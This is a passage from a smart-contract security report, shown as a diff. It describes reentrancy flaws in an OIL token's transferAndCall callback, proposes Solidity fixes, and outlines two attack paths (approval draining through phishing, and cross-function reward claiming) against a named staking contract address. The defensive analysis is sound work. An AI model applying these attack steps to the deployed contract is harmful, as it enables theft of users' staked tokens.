487
|
+
```
|
|
488
|
+
The vulnerability isn't in transferAndCall's state management.
|
|
489
|
+
The vulnerability is that transferAndCall ENABLES reentrancy
|
|
490
|
+
into OTHER functions that rely on external state (approvals).
|
|
491
|
+
```
|
|
492
|
+
|
|
493
|
+
---
|
|
494
|
+
|
|
495
|
+
## Real-World Impact
|
|
496
|
+
|
|
497
|
+
### Confirmed Risks
|
|
498
|
+
|
|
499
|
+
1. **Direct Reentrancy**
|
|
500
|
+
- Requires: Victim approval to malicious contract
|
|
501
|
+
- Method: Social engineering (fake staking sites)
|
|
502
|
+
- Impact: Complete loss of approved tokens
|
|
503
|
+
- Likelihood: HIGH (phishing is common)
|
|
504
|
+
|
|
505
|
+
2. **Cross-Function Reentrancy**
|
|
506
|
+
- Requires: Vulnerable staking contract
|
|
507
|
+
- At Risk: 138,287 OIL in staking (0xe546F8f17aff17C05dac9F9b4F9957f725fab087)
|
|
508
|
+
- Impact: Drain staking rewards
|
|
509
|
+
- Likelihood: MEDIUM (depends on staking implementation)
|
|
510
|
+
|
|
511
|
+
### Similar Exploits
|
|
512
|
+
|
|
513
|
+
| Project | Loss | Pattern | Similarity |
|
|
514
|
+
|---------|------|---------|------------|
|
|
515
|
+
| EtherFreakers | $25K | Callback double-counting | Same callback pattern |
|
|
516
|
+
| Oiler | $0 | Documented, not exploited | EXACT MATCH |
|
|
517
|
+
|
|
518
|
+
---
|
|
519
|
+
|
|
520
|
+
## The Fix
|
|
521
|
+
|
|
522
|
+
### Option 1: Reentrancy Guard (Recommended)
|
|
523
|
+
|
|
524
|
+
```solidity
|
|
525
|
+
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
|
|
526
|
+
|
|
527
|
+
contract OilerToken is ReentrancyGuard {
|
|
528
|
+
function transferAndCall(
|
|
529
|
+
address to,
|
|
530
|
+
uint256 value,
|
|
531
|
+
bytes calldata data
|
|
532
|
+
) external nonReentrant returns (bool) { // ← Add this
|
|
533
|
+
// Rest of function unchanged
|
|
534
|
+
}
|
|
535
|
+
}
|
|
536
|
+
```
|
|
537
|
+
|
|
538
|
+
### Option 2: Remove Callback
|
|
539
|
+
|
|
540
|
+
```solidity
|
|
541
|
+
function transferAndCall(
|
|
542
|
+
address to,
|
|
543
|
+
uint256 value,
|
|
544
|
+
bytes calldata data
|
|
545
|
+
) external returns (bool) {
|
|
546
|
+
require(balanceOf[msg.sender] >= value);
|
|
547
|
+
balanceOf[msg.sender] -= value;
|
|
548
|
+
balanceOf[to] += value;
|
|
549
|
+
|
|
550
|
+
emit Transfer(msg.sender, to, value);
|
|
551
|
+
|
|
552
|
+
// Remove callback entirely
|
|
553
|
+
// if (isContract(to)) {
|
|
554
|
+
// IERC677Receiver(to).onTokenTransfer(...);
|
|
555
|
+
// }
|
|
556
|
+
|
|
557
|
+
return true;
|
|
558
|
+
}
|
|
559
|
+
```
|
|
560
|
+
|
|
561
|
+
### Option 3: Fix Staking Contract
|
|
562
|
+
|
|
563
|
+
```solidity
|
|
564
|
+
contract OilerStaking {
|
|
565
|
+
function withdraw() external nonReentrant { // ← Add guard
|
|
566
|
+
uint256 amount = stakes[msg.sender];
|
|
567
|
+
require(amount > 0);
|
|
568
|
+
|
|
569
|
+
// Update state BEFORE external call
|
|
570
|
+
stakes[msg.sender] = 0; // ← Move this up
|
|
571
|
+
|
|
572
|
+
oil.transfer(msg.sender, amount);
|
|
573
|
+
}
|
|
574
|
+
}
|
|
575
|
+
```
|
|
576
|
+
|
|
577
|
+
---
|
|
578
|
+
|
|
579
|
+
## Summary
|
|
580
|
+
|
|
581
|
+
**Direct Reentrancy:**
|
|
582
|
+
- Victim approves malicious contract (phishing)
|
|
583
|
+
- Attacker calls transferAndCall
|
|
584
|
+
- During callback, calls transferFrom to drain approvals
|
|
585
|
+
- Requires social engineering
|
|
586
|
+
|
|
587
|
+
**Cross-Function Reentrancy:**
|
|
588
|
+
- Attacker stakes tokens
|
|
589
|
+
- Calls withdraw()
|
|
590
|
+
- During transfer callback, calls claimRewards()
|
|
591
|
+
- claimRewards() sees stale stake amount
|
|
592
|
+
- Receives rewards for already-withdrawn stake
|
|
593
|
+
- Requires vulnerable staking contract
|
|
594
|
+
|
|
595
|
+
**Both exploit the same root cause:** External calls during token operations allow reentrancy into other functions that rely on state that can be manipulated.
|
|
596
|
+
|
|
597
|
+
**Urgency:** CRITICAL - Needs immediate reentrancy guard + staking audit
|